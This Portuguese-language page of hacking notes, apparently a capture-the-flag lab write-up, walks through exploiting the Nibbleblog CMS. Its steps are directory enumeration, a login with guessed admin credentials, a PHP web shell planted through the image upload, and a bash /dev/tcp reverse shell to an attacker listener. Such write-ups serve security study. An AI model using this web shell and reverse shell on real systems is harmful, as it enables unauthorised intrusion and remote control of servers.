> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/nibbles-blog-cms-exploitation.md).

# Nibbles Blog

Notas de exploração do Nibbleblog CMS para enumeração de diretórios, descoberta de login de administrador, abuso de upload de imagem, execução de web shell em PHP e acesso por reverse shell.

### Blog Nibbles - CMS

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8a8288a7190968333d51726e8bb682ea7709af7%2Fimage%20(2566).png?alt=media" alt=""><figcaption></figcaption></figure>

O site parece ser um CMS do Nibbleblog. Use `gobuster` para procurar diretórios adicionais:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71c67d40edf0c2957abcb2af0ac6154acfa01f35%2Fimage%20(2568).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Busca de Arquivos PHP:

A enumeração de arquivos PHP revela `admin.php`, que parece ser um painel de administração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cee0cedf187692d9787be32897aa898cf009b89%2Fimage%20(2569).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Tentativa de login com credenciais

Tente fazer login com as seguintes credenciais:

* **Usuário** : admin
* **Senha** : nibbles

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a55e2baef42af7f58bb0cb95ffa89d5aa7018164%2Fimage%20(2570).png?alt=media" alt=""><figcaption></figcaption></figure>

Isso funciona e fornece acesso à interface de administração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d1891b19cb2fcfa6b7f67c5c964873ba67c8a7a%2Fimage%20(2571).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivos do Nibbleblog

Um recurso de upload de imagens é descoberto:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4ae7a07cbe149610911d0f89cc4b42e3e7ef69d%2Fimage%20(2572).png?alt=media" alt=""><figcaption></figcaption></figure>

Crie um `cmd.php` arquivo com o seguinte código para habilitar a execução de comandos:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

O arquivo é enviado para `content`, onde uma `privada` subpasta contém plugins.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db006edabcb60681a0ce85027a3af630a5005201%2F%7BF479214E-BF39-4E2F-9C58-080BA47992C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Execução de Comandos por meio de Upload de Arquivo

O `cmd` O parâmetro permite a execução de comandos. Por exemplo, use a seguinte URL para obter informações de identidade do sistema:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02805497b0b19fec445e2377010b51d7841746ea%2F%7B5D5A12A0-9B61-4593-B3A1-6DECFA728518%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Obtenha acesso ao servidor por meio de uma shell reversa. Inicie um listener na porta 443:

```bash
nc -nlvp 443
```

Em seguida, execute a shell reversa no alvo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c410d3d8d1f9b483bd1dc55a2ad321396b21c6f4%2Fimage%20(2573).png?alt=media" alt=""><figcaption></figcaption></figure>


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